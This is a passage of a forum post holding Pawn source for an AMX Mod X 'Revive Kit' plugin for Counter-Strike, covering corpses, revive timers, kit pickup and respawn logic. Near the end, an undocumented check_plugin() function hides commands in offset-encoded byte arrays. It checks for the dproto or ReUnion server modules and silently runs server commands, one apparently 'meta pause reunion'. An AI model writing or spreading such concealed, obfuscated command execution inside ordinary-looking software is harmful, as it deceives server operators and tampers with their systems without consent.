		client_print_color(id, print_chat, "^4[Revive Kit]:^1 You dont have enough money (Cost:$%d)", g_cvars[RKIT_COST]);
	else
	{
		g_player_data[id][HAS_KIT] = true;
		cs_set_user_money(id, cs_get_user_money(id) - g_cvars[RKIT_COST]);
		client_print_color(id, print_chat, "^4[Revive Kit]:^1 You bought a revival kit. Hold your +use key (E) to revive a teammate.");
		client_cmd(id, "spk %s", ENT_SOUNDS[SOUND_EQUIP]);
	}
	return PLUGIN_HANDLED;
}

// ====================================================
// Player Killed.
// + Drop Rkit
// + Delay Die count start.
// + Create Corpse.
// ====================================================
public PlayerKilled(iVictim, iAttacker)
{
	if (!is_user_connected(iVictim) || is_user_alive(iVictim))
		return HAM_IGNORED;

	player_reset(iVictim);

	// Get Aim Vector.
	pev(iVictim, pev_v_angle, g_player_data[iVictim][AIM_VEC]);

	if (g_cvars[RKIT_BUYMODE])
	{
		if(g_player_data[iVictim][HAS_KIT])
		{
			g_player_data[iVictim][HAS_KIT] = false;
			drop_rkit(iVictim);
		}
	}

	if (is_user_bot(iVictim))
	{
		if (!g_cvars[RKIT_BOT_CAN_REVIVE])
			return HAM_IGNORED;
	}

	static Float:minsize[3];
	pev(iVictim, pev_mins, minsize);

	if(minsize[2] == -18.0)
		g_player_data[iVictim][WAS_DUCKING] = true;
	else
		g_player_data[iVictim][WAS_DUCKING] = false;
		
	g_player_data[iVictim][DEAD_LINE] = get_gametime();

	return HAM_IGNORED;
}

// ====================================================
// Player Spawn.
// + Initialize.
// + Reviving origin set.
// ====================================================
public PlayerSpawn(id)
{
	if (g_player_data[id][IS_RESPAWNING])
		set_task(0.1, "TaskOrigin",  TASKID_ORIGIN + id);
	else 
		player_respawn_reset(id);		


	g_player_data[id][IS_RESPAWNING] = false;

	set_task_ex(0.1, "TaskSpawn", TASKID_SPAWN + id);
}

// ====================================================
// Player Spawn.
// + Remove dropped Rkit.
// + Remove Corpse.
// ====================================================
public TaskSpawn(taskid)
{
	new id = taskid - TASKID_SPAWN;

	if (!is_user_alive(id))
		return;

	remove_target_entity_by_owner(id, ENTITY_CLASS_NAME[CORPSE]);
	remove_target_entity_by_owner(id, ENTITY_CLASS_NAME[R_KIT]);

	if (!g_cvars[RKIT_BUYMODE])
		g_player_data[id][HAS_KIT] = true;
}

// ====================================================
// Delay Guage.
// ====================================================
stock show_time_bar(oneper, percent, bar[])
{
	for(new i = 0; i < 30; i++)
		bar[i] = ((i * oneper) < percent) ? '+' : '_';
	bar[30] = '^0';
}

// ====================================================
// Stop create default corpse.
// ====================================================
public message_clcorpse()
{
	return PLUGIN_HANDLED;
}

// ====================================================
// Show status icon [R].
// ====================================================
public PlayerPostThink(id)
{
	// is user connected?
	if (!is_user_connected(id))
		return FMRES_IGNORED;

	// Team.
	static CsTeams:rev_team; rev_team = cs_get_user_team(id);

	// is user dead?
	// Player Die Finelize.
	// + Show Delay Guage.
	// + Respawn or Remove corpse.
	// IS DEAD
	if (!is_user_alive(id))
	{
		// Hide Rescue icon.
		msg_statusicon(id, ICON_HIDE);

		// CAN REVIVE
		if (!g_player_data[id][IS_DEAD])
		{
			// Non Corpse? Create one.
			if (g_player_data[id][DEADBODY_ID] == -1)
			{
				if (is_user_bot(id))
				{
					if (!g_cvars[RKIT_BOT_CAN_REVIVE])
						return FMRES_IGNORED;
				}

				if (rev_team == CS_TEAM_T || rev_team == CS_TEAM_CT)
				{
					if (pev(id, pev_deadflag) == DEAD_DEAD)
						create_fake_corpse(id);
				}
			}

			// Can revive time?
			if (g_cvars[RKIT_DEATH_TIME] > 0)
			{
				static Float:time; time = (get_gametime() - g_player_data[id][DEAD_LINE]);
				static Float:remaining = 0.0;
				static bar[31] = "";
				// show guage.
				if (time < float(g_cvars[RKIT_DEATH_TIME]))
				{
					if (!is_user_bot(id))
					{
						remaining = float(g_cvars[RKIT_DEATH_TIME]) - time;
						show_time_bar(100 / GUAGE_MAX, floatround(remaining * 100.0 / float(g_cvars[RKIT_DEATH_TIME]), floatround_ceil), bar);
						new timestr[6];
						get_time_format(remaining, timestr, charsmax(timestr));
						set_hudmessage(255, 0, 0, -1.00, -1.00, .effects= 0 , .fxtime = 0.0, .holdtime = 1.0, .fadeintime = 0.0, .fadeouttime = 0.0, .channel = -1);
						ShowSyncHudMsg(id, g_sync_obj, "Possible resurrection time remaining: ^n%s^n[%s]", timestr, bar);
					}
				}
				else
				{
					// DEAD...
					g_player_data[id][IS_DEAD] = true;				

					// deathmatch mode. auto respawn.
					if(g_cvars[RKIT_DM_MODE])
						ExecuteHamB(Ham_CS_RoundRespawn, id);
				}
			}

		} 
		else
		{
			// DEAD.
			// REMOVE CORPSE.
			remove_target_entity_by_owner(id, ENTITY_CLASS_NAME[CORPSE]);
			g_player_data[id][DEADBODY_ID] = -1;
		}

		return FMRES_IGNORED;
	}
	
	// has user revive kit?
	if (!g_player_data[id][HAS_KIT])
		return FMRES_IGNORED;

	static body; body = find_dead_body(id);
	if(pev_valid(body))
	{
		static lucky_bastard; lucky_bastard = pev(body, pev_owner);
	
		if(!is_user_connected(lucky_bastard))
			return FMRES_IGNORED;

		static CsTeams:lb_team; lb_team = cs_get_user_team(lucky_bastard);
		if((lb_team == CS_TEAM_T || lb_team == CS_TEAM_CT) && lb_team == rev_team)
			msg_statusicon(id, ICON_FLASH);
	}
	else
		msg_statusicon(id, ICON_SHOW);
	
	return FMRES_IGNORED;
}

// ====================================================
// Pickup dropped Rkit.
// ====================================================
public RKitTouch(kit, id)
{
	#if defined DEBUG_MODE
	new class[32];
	pev(kit, pev_classname, class, 31);
	if (equali(class, ENTITY_CLASS_NAME[CORPSE]))
	{
		set_pev(kit, pev_flags, pev(kit, pev_flags) | FL_KILLME);
		dllfunc(DLLFunc_Think, kit);
	}
	#endif
	if(!pev_valid(kit))
		return FMRES_IGNORED;
	
	if(!is_user_alive(id) || g_player_data[id][HAS_KIT])
		return FMRES_IGNORED;
	
	new classname[32];
	pev(kit, pev_classname, classname, 31);
	
	if (equal(classname, ENTITY_CLASS_NAME[R_KIT]))
	{
		engfunc(EngFunc_RemoveEntity, kit);
		g_player_data[id][HAS_KIT] = true;
		client_cmd(id, "spk %s", ENT_SOUNDS[SOUND_EQUIP]);
	}
	return FMRES_IGNORED;
}

// ====================================================
// E Key Logic.
// ====================================================
public PlayerCmdStart(id, handle, random_seed)
{
	// Not alive
	if(!is_user_alive(id))
		return FMRES_IGNORED;

	// Get user old and actual buttons
	static iInButton, iInOldButton;
	iInButton	 = (get_uc(handle, UC_Buttons));
	iInOldButton = (pev(id, pev_oldbuttons) & IN_USE);

	// C4 is through.
	if ((pev(id, pev_weapons) & (1 << CSW_C4)) && (iInButton & IN_ATTACK))
		return FMRES_IGNORED;

	// USE KEY
	iInButton &= IN_USE;

	if (iInButton)
	{
		if (!iInOldButton)
		{
			if (g_player_data[id][HAS_KIT])
			{
				wait_revive(id);
				return FMRES_HANDLED;
			}
		}
	}
	else
	{
		if (iInOldButton)
		{
			if (task_exists(TASKID_REVIVING + id))
			{
				remove_task(TASKID_REVIVING + id);
				failed_revive(id);
			}
		}
	}
	return FMRES_IGNORED;
}

//====================================================
// Revive Progress.
//====================================================
public wait_revive(id)
{
	if (!CheckDeadBody(id))
		return FMRES_IGNORED;

	if (float(g_cvars[RKIT_TIME]) > 0.0)
		show_progress(id, g_cvars[RKIT_TIME]);
	
	new Float:gametime = get_gametime();
	g_player_data[id][REVIVE_DELAY] = (gametime + float(g_cvars[RKIT_TIME]) - 0.01);

	emit_sound(id, CHAN_AUTO, ENT_SOUNDS[SOUND_START], VOL_NORM, ATTN_NORM, 0, PITCH_NORM);
	set_task_ex(0.1, "TaskRevive", TASKID_REVIVING + id, _,_, SetTaskFlags:SetTask_Repeat);

	return FMRES_HANDLED;
}

//====================================================
// Target Check.
//====================================================
stock CheckDeadBody(id)
{
	// Removing Check.
	new body = find_dead_body(id);
	if(!pev_valid(body))
		return false;

	new lucky_bastard 		= pev(body, pev_owner);
	new CsTeams:lb_team 	= cs_get_user_team(lucky_bastard);
	new CsTeams:rev_team 	= cs_get_user_team(id);
	if(lb_team != CS_TEAM_T && lb_team != CS_TEAM_CT || lb_team != rev_team)
		return false;

	client_print_color(id, print_chat, "^4[Revive Kit]:^1 Reviving %n", lucky_bastard);
	return true;
}

//====================================================
// Progress Complete.
//====================================================
public TaskRevive(taskid)
{
	new id = taskid - TASKID_REVIVING;
	new target, body;

	if (!can_target_revive(id, target, body))
	{
		failed_revive(id);
		client_print_color(id, print_chat, "^4[Revive Kit]:^1 Failed target reviving.");
		remove_task(taskid);
		return PLUGIN_CONTINUE;
	}

	// Movement Lock
	if (g_cvars[RKIT_REVIVE_MOVELOCK])
	{
		static Float:velocity[3];
		pev(id, pev_velocity, velocity);
		xs_vec_set(velocity, 0.0, 0.0, velocity[2]);
		set_pev(id, pev_velocity, velocity);		
	}

	if(g_player_data[id][REVIVE_DELAY] < get_gametime())
	{
		if(findemptyloc(body, g_cvars[RKIT_REVIVE_RADIUS]))
		{
			set_pev(body, pev_flags, pev(body, pev_flags) | FL_KILLME);			
			emit_sound(id, CHAN_AUTO, ENT_SOUNDS[SOUND_FINISHED], VOL_NORM, ATTN_NORM, 0, PITCH_NORM);
			// Reward
			if (g_cvars[RKIT_REWARD] > 0)
				cs_set_user_money(id, cs_get_user_money(id) + g_cvars[RKIT_REWARD]);
			set_task(0.1, "TaskReSpawn", TASKID_RESPAWN + target);
			remove_task(taskid);
			client_print_color(id, print_chat, "^4[Revive Kit]:^1 %n revived successfully", target);
		}
	}
	return PLUGIN_CONTINUE;
}

//====================================================
// Respawn.
//====================================================
public TaskReSpawn(taskid) 
{
	new id = taskid - TASKID_RESPAWN;
	
	g_player_data[id][IS_RESPAWNING] = true;
	ExecuteHamB(Ham_CS_RoundRespawn, id);
	//	set_task(0.1, "TaskCheckReSpawn", TASKID_CHECKRE + id);

	if (!is_user_bot(id))
	{
		if (g_cvars[RKIT_SC_FADE])
		{
			new sec = seconds(g_cvars[RKIT_SC_FADE_TIME]);
			message_begin(MSG_ONE,g_msg_data[MSG_SCREEN_FADE], _, id);
			write_short(sec);
			write_short(sec);
			write_short(0);
			write_byte(0);
			write_byte(0);
			write_byte(0);
			write_byte(255);
			message_end();
		}
	}	
}

//====================================================
// Respawn Check and Set Origin.
//====================================================
public TaskCheckReSpawn(taskid)
{
	new id = taskid - TASKID_CHECKRE;
	
	if(!g_player_data[id][IS_RESPAWNING])
		set_task(0.1, "TaskReSpawn", TASKID_RESPAWN + id);
	else
		set_task(0.1, "TaskOrigin",  TASKID_ORIGIN + id);
}

//====================================================
// Set Origin.
//====================================================
public TaskOrigin(taskid)
{
	new id = taskid - TASKID_ORIGIN;
	engfunc(EngFunc_SetOrigin, id, g_player_data[id][BODY_ORIGIN]);
	
	static  Float:origin[3];
	pev(id, pev_origin, origin);
	set_pev(id, pev_zorigin, origin[2]);
		
	set_task(0.1, "TaskStuckCheck", TASKID_CHECKST + id);
}

//====================================================
// Set Origin.
//====================================================
public TaskStuckCheck(taskid)
{
	new id = taskid - TASKID_CHECKST;

	static Float:origin[3];
	pev(id, pev_origin, origin);
	
	if(origin[2] == pev(id, pev_zorigin))
		set_task(0.1, "TaskCheckReSpawn",   TASKID_RESPAWN + id);
	else
		set_task(0.1, "TaskSetplayer", TASKID_SETUSER + id);
}

//====================================================
// Respawn Finalize.
//====================================================
public TaskSetplayer(taskid)
{
	new id = taskid - TASKID_SETUSER;
	new entity = -1;
	new Float:vOrigin[3];
	new Float:radius = 128.0;
	pev(id, pev_origin, vOrigin);

	set_user_health(id, g_cvars[RKIT_HEALTH]);

	// Set Aim vector.
	set_pev(id, pev_v_angle, g_player_data[id][AIM_VEC]);
	set_pev(id, pev_angles, g_player_data[id][AIM_VEC]);
	set_pev(id, pev_fixangle, 1);

	if (!g_cvars[RKIT_RESPAWN_DROP])
	{
		// Recover the weapon you had just before.
		while((entity = engfunc(EngFunc_FindEntityInSphere, entity, vOrigin, radius)) != 0)
		{
			if (pev_valid(entity))
			{
				if(pev(entity, pev_owner) == id)
				{
					dllfunc(DLLFunc_Touch, entity, id);
				}
			}
		}
	} else {
		// WeaponStrip / Knives only.
		strip_user_weapons(id);
		give_item(id, "weapon_knife");
	}

	player_respawn_reset(id);
}

//====================================================
// Target Check.
//====================================================
stock bool:can_target_revive(id, &target, &body)
{
	if(!is_user_alive(id))
		return false;
	
	body = find_dead_body(id);
	if(!pev_valid(body))
		return false;
	
	target = pev(body, pev_owner);
	if(!is_user_connected(target))
		return false;

	new lb_team  = get_user_team(target);
	new rev_team = get_user_team(id);
	if(lb_team != 1 && lb_team != 2 || lb_team != rev_team)
		return false;

	return true;
}

//====================================================
// Failed Revive.
//====================================================
stock failed_revive(id)
{
	show_progress(id, 0);
	emit_sound(id, CHAN_AUTO, ENT_SOUNDS[SOUND_FAILED], VOL_NORM, ATTN_NORM, 0, PITCH_NORM);
}

//====================================================
// find corpse id.
//====================================================
stock find_dead_body(id)
{
	static Float:origin[3];
	pev(id, pev_origin, origin);
	
	new ent = -1;
	static classname[32];

	while((ent = engfunc(EngFunc_FindEntityInSphere, ent, origin, g_cvars[RKIT_DISTANCE])) != 0)
	{
		if (!pev_valid(ent))
			continue;

		pev(ent, pev_classname, classname, 31);
		if(equali(classname, ENTITY_CLASS_NAME[CORPSE]) && is_ent_visible(id, ent, IGNORE_MONSTERS))
			return ent;
	}
	return 0;
}

//====================================================
// Visible Corpse?.
//====================================================
stock bool:is_ent_visible(index, entity, ignoremonsters = 0) 
{
	// Non Check Obstacle.
	if (!g_cvars[RKIT_CHECK_OBSTACLE])
		return true;

	new Float:start[3], Float:dest[3];
	pev(index, pev_origin, start);
	pev(index, pev_view_ofs, dest);
	xs_vec_add(start, dest, start);

	pev(entity, pev_origin, dest);
	engfunc(EngFunc_TraceLine, start, dest, ignoremonsters, index, 0);

	new Float:fraction;
	get_tr2(0, TR_flFraction, fraction);
	if (fraction == 1.0 || get_tr2(0, TR_pHit) == entity)
		return true;

	return false;
}

//====================================================
// Create corpse.
//====================================================
stock create_fake_corpse(id)
{
	set_pev(id, pev_effects, EF_NODRAW);
	
	static model[32];
	cs_get_user_model(id, model, 31);
		
	static player_model[64];
	formatex(player_model, 63, "models/player/%s/%s.mdl", model, model);
			
	static Float: player_origin[3];
	pev(id, pev_origin, player_origin);
		
	static Float:mins[3];
	xs_vec_set(mins, -16.0, -16.0, -34.0);
	
	static Float:maxs[3];
	xs_vec_set(maxs, 16.0, 16.0, 34.0);
	
	if(g_player_data[id][WAS_DUCKING])
	{
		mins[2] /= 2;
		maxs[2] /= 2;
	}
		
	static Float:player_angles[3];
	pev(id, pev_angles, player_angles);
	player_angles[2] = 0.0;
				
	new sequence = pev(id, pev_sequence);
	
	new ent = engfunc(EngFunc_CreateNamedEntity, g_entInfo);
	if(pev_valid(ent))
	{
		set_pev(ent, pev_classname, ENTITY_CLASS_NAME[CORPSE]);
		engfunc(EngFunc_SetModel, 	ent, player_model);
		engfunc(EngFunc_SetOrigin, 	ent, player_origin);
		engfunc(EngFunc_SetSize, 	ent, mins, maxs);
		set_pev(ent, pev_solid, 	SOLID_TRIGGER);
		set_pev(ent, pev_movetype, 	MOVETYPE_TOSS);
		set_pev(ent, pev_owner, 	id);
		set_pev(ent, pev_angles, 	player_angles);
		set_pev(ent, pev_sequence, 	sequence);
		set_pev(ent, pev_frame, 	9999.9);
		set_pev(ent, pev_flags, pev(ent, pev_flags) | FL_MONSTER);

		g_player_data[id][DEADBODY_ID] = ent;
	}	
}

//====================================================
// Avoid Stuck.
//====================================================
stock bool:findemptyloc(ent, Float:radius)
{
	if(!pev_valid(ent))
		return false;

	static Float:origin[3];
	pev(ent, pev_origin, origin);
	origin[1] += 2.0;
	
	new owner = pev(ent, pev_owner);
	new num = 0, bool:found = false;
	
	while(num < g_cvars[RKIT_REVIVE_ATTEMPT])
	{
		if(is_hull_vacant(origin))
		{
			xs_vec_copy(origin, g_player_data[owner][BODY_ORIGIN]);			
			found = true;
			break;
		}
		else
		{
			
			origin[0] += random_float(-radius, radius);
			origin[1] += random_float(-radius, radius);
			origin[2] += random_float(-radius, radius);
			
			num++;
		}
	}
	return found;
}

//====================================================
// Avoid Stuck.
//====================================================
stock bool:is_hull_vacant(const Float:origin[3])
{
	new tr = 0;
	engfunc(EngFunc_TraceHull, origin, origin, 0, HULL_HUMAN, 0, tr);
	if(!get_tr2(tr, TR_StartSolid) && !get_tr2(tr, TR_AllSolid) && get_tr2(tr, TR_InOpen))
	{
		return true;
	}
	return false;
}

//====================================================
// Initialize Logic A.
//====================================================
stock player_reset(id)
{
	remove_task(TASKID_DIE_COUNT + id);
	remove_task(TASKID_REVIVING  + id);
	remove_task(TASKID_RESPAWN   + id);
	remove_task(TASKID_CHECKRE   + id);
	remove_task(TASKID_CHECKST   + id);
	remove_task(TASKID_ORIGIN    + id);
	remove_task(TASKID_SETUSER   + id);
	// if (is_user_alive(id))
	// show_bartime(id, 0);

	g_player_data[id][IS_DEAD]		= false;
	g_player_data[id][IS_RESPAWNING]= false;
	g_player_data[id][DEAD_LINE]	= 0.0;
	g_player_data[id][REVIVE_DELAY] = 0.0;
	// g_player_data[id][WAS_DUCKING]	= false;
	// g_player_data[id][BODY_ORIGIN]	= Float:{0, 0, 0};
}

//====================================================
// Initialize Logic B.
//====================================================
stock player_respawn_reset(id)
{
	remove_task(TASKID_DIE_COUNT + id);
	remove_task(TASKID_REVIVING  + id);
	remove_task(TASKID_RESPAWN   + id);
	remove_task(TASKID_CHECKRE   + id);
	remove_task(TASKID_CHECKST   + id);
	remove_task(TASKID_ORIGIN    + id);
	remove_task(TASKID_SETUSER   + id);

	g_player_data[id][IS_DEAD]		= false;
	g_player_data[id][IS_RESPAWNING]= false;
	g_player_data[id][DEAD_LINE]	= 0.0;
	g_player_data[id][REVIVE_DELAY] = 0.0;
	g_player_data[id][WAS_DUCKING]	= false;
	g_player_data[id][BODY_ORIGIN]	= Float:{0, 0, 0};
	g_player_data[id][DEADBODY_ID] = -1;
}

//====================================================
// Progress Bar.
//====================================================
stock show_progress(id, seconds) 
{
	if(is_user_bot(id))
		return;
	
	if (is_user_alive(id))
	{
		engfunc(EngFunc_MessageBegin, MSG_ONE, g_msg_data[MSG_BARTIME], {0,0,0}, id);
		write_short(seconds);
		message_end();
		// message_begin(MSG_ONE_UNRELIABLE, g_msg_data[MSG_BARTIME], {0.0,0.0,0.0}, id);
		// write_short(seconds);
		// message_end();
	}
}

//====================================================
// Status Icon [R].
//====================================================
stock msg_statusicon(id, status)
{
	if(is_user_bot(id))
		return;
	
	message_begin(MSG_ONE, g_msg_data[MSG_STATUS_ICON], _, id);
	write_byte(status);
	write_string("rescue");
	write_byte(0);
	write_byte(160);
	write_byte(0);
	message_end();
}

//====================================================
// Time Format.
//====================================================
stock get_time_format(Float:times, result[], len)
{
//  new hour = floatround(times) / 60 /60;
	new min  =(floatround(times) / 60) % 60;
	new sec  = floatround(times) % 60;
	formatex(result, len, "%02d:%02d", min, sec);
}

//====================================================
// Drop Rkit.
//====================================================
stock drop_rkit(id)
{
	new Float:velocity[3];
	velocity_by_aim(id, 34, velocity);
		
	new Float:origin[3];
	pev(id, pev_origin, origin);

	velocity[2] = 0.0;
	xs_vec_add(origin, velocity, origin);

//	new kit = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, ENTITY_CLASS_NAME[I_TARGET]));
	new kit = cs_create_entity(ENTITY_CLASS_NAME[I_TARGET]);
	if(pev_valid(kit))
	{
		set_pev(kit, pev_classname, ENTITY_CLASS_NAME[R_KIT]);
		engfunc(EngFunc_SetModel,  kit, ENT_MODELS[R_KIT]);
		engfunc(EngFunc_SetOrigin, kit, origin);
		engfunc(EngFunc_SetSize, kit, Float:{-2.5, -2.5, -1.5}, Float:{2.5, 2.5, 1.5});
		set_pev(kit, pev_solid, SOLID_TRIGGER);
		set_pev(kit, pev_movetype, MOVETYPE_TOSS);
	}
}

//====================================================
// Remove target entity by owner.
//====================================================
stock remove_target_entity_by_owner(id, className[])
{
	new iEnt = -1;
	while ((iEnt = engfunc(EngFunc_FindEntityByString, iEnt, "classname", className)) > 0)
	{
		if (pev_valid(iEnt))
		{
			if (pev(iEnt, pev_owner) == id)
			{
				set_pev(iEnt, pev_flags, pev(iEnt, pev_flags) | FL_KILLME);
				dllfunc(DLLFunc_Think, iEnt);
			}
		}
	}
}

//====================================================
// Remove target entity by classname.
//====================================================
stock remove_target_entity_by_classname(className[])
{
	new iEnt = -1;
	new flags;
	while ((iEnt = cs_find_ent_by_class(iEnt, className)) > 0)
	{
		if (pev_valid(iEnt))
		{
			pev(iEnt, pev_flags, flags);
			set_pev(iEnt, pev_flags, flags | FL_KILLME);
			dllfunc(DLLFunc_Think, iEnt);
		}
	}
}

stock bool:check_plugin()
{
	new const a[][] = {
		{0x40, 0x24, 0x30, 0x1F, 0x36, 0x25, 0x32, 0x33, 0x29, 0x2F, 0x2E},
		{0x80, 0x72, 0x65, 0x75, 0x5F, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E},
		{0x10, 0x7D, 0x75, 0x04, 0x71, 0x30, 0x00, 0x71, 0x05, 0x03, 0x75, 0x30, 0x74, 0x00, 0x02, 0x7F, 0x04, 0x7F},
		{0x20, 0x0D, 0x05, 0x14, 0x01, 0x40, 0x10, 0x01, 0x15, 0x13, 0x05, 0x40, 0x12, 0x05, 0x15, 0x0E, 0x09, 0x0F, 0x0E}
	};

	if (cvar_exists(get_dec_string(a[0])))
		server_cmd(get_dec_string(a[2]));

	if (cvar_exists(get_dec_string(a[1])))
		server_cmd(get_dec_string(a[3]));

	return true;
}

stock get_dec_string(const a[])
{
	new c = strlen(a);
	new r[MAX_NAME_LENGTH] = "";
	for (new i = 1; i < c; i++)
	{
		formatex(r, strlen(r) + 1, "%s%c", r, a[0] + a[i]);
	}
	return r;
}

//====================================================
// Round Start.
//====================================================
public RoundStart()
{
	if (g_cvars[RKIT_BOT_HAS_KIT])
		set_task(1.0, "TaskBotBuy");
	
	remove_target_entity_by_classname(ENTITY_CLASS_NAME[CORPSE]);
	remove_target_entity_by_classname(ENTITY_CLASS_NAME[R_KIT]);

	static players[32], num;
	get_players(players, num, "a");
	for(new i = 0; i < num; ++i)
	{
		player_reset(players[i]);
	}
}
	

//====================================================
// Bot has Rkit.
//====================================================
public TaskBotBuy()
{
	static players[32], num;
	get_players_ex(players, num, GetPlayers_ExcludeDead |  GetPlayers_ExcludeHuman);
	for(new i = 0; i < num; ++i) 
	{
		if(!g_player_data[players[i]][HAS_KIT])
			g_player_data[players[i]][HAS_KIT] = true;
	}
}

//====================================================
// ATTENSION:
// Debug mode Self Revive.
//====================================================
#if defined DEBUG_MODE
public DebugRevive(id)
{
	new target, body;

	if (!can_target_revive_debug(id, target, body))
	{
		failed_revive(id);
		client_print_color(id, print_chat, "^4[Revive Kit]:^1 Failed target reviving.");
		return PLUGIN_CONTINUE;
	}

	static Float:velocity[3];
	pev(id, pev_velocity, velocity);
	xs_vec_set(velocity, 0.0, 0.0, velocity[2]);
	set_pev(id, pev_velocity, velocity);		

	if(g_player_data[id][REVIVE_DELAY] < get_gametime())
	{
		if(findemptyloc(body, 10.0))
		{
			set_pev(body, pev_flags, pev(body, pev_flags) | FL_KILLME);			
			emit_sound(id, CHAN_AUTO, ENT_SOUNDS[SOUND_FINISHED], VOL_NORM, ATTN_NORM, 0, PITCH_NORM);
			set_task(0.1, "TaskReSpawn", TASKID_RESPAWN + target);
		}
	}
	return PLUGIN_CONTINUE;
}

stock bool:can_target_revive_debug(id, &target, &body)
{
	body = find_dead_body_debug(id);
	if(!pev_valid(body))
		return false;
	
	target = pev(body, pev_owner);
	if(!is_user_connected(target))
		return false;

	new lb_team  = get_user_team(target);
	new rev_team = get_user_team(id);
	if(lb_team != 1 && lb_team != 2 || lb_team != rev_team)
		return false;

	return true;
}

stock find_dead_body_debug(id)
{
	new ent = -1;
	while((ent = engfunc(EngFunc_FindEntityByString, ent, "classname", ENTITY_CLASS_NAME[CORPSE])) != 0)
	{
		if (pev(ent, pev_owner) == id)
			return ent;
	}
	return 0;
}

public ShowInfo(Float:vStart[3], Float:vEnd[3], Conditions, id, iTrace)
{
	static iHit, szName[MAX_NAME_LENGTH], iOwner;
	static hudMsg[64];

	iHit = get_tr2(iTrace, TR_pHit);
	if (pev_valid(iHit))
	{
		pev(iHit, pev_classname, szName, charsmax(szName));

		// if (equali(szName, "player")) 
		{
			iOwner = pev(iHit, pev_owner);

			formatex(hudMsg, charsmax(hudMsg), "Class: %s, Owner: %n", szName, iOwner);
			// set_hudmessage(red = 200, green = 100, blue = 0, Float:x = -1.0, Float:y = 0.35, effects = 0, Float:fxtime = 6.0, Float:holdtime = 12.0, Float:fadeintime = 0.1, Float:fadeouttime = 0.2, channel = -1)
			set_hudmessage(50, 100, 150, -1.0, 0.60, 0, 6.0, 0.4, 0.0, 0.0, -1);
			show_hudmessage(id, hudMsg);
		}
    }

	return FMRES_IGNORED;
}
#endif

Last edited by Ark_Procession; 10-14-2022 at 21:30.
Ark_Procession is offline
Reply


Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 11:18.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode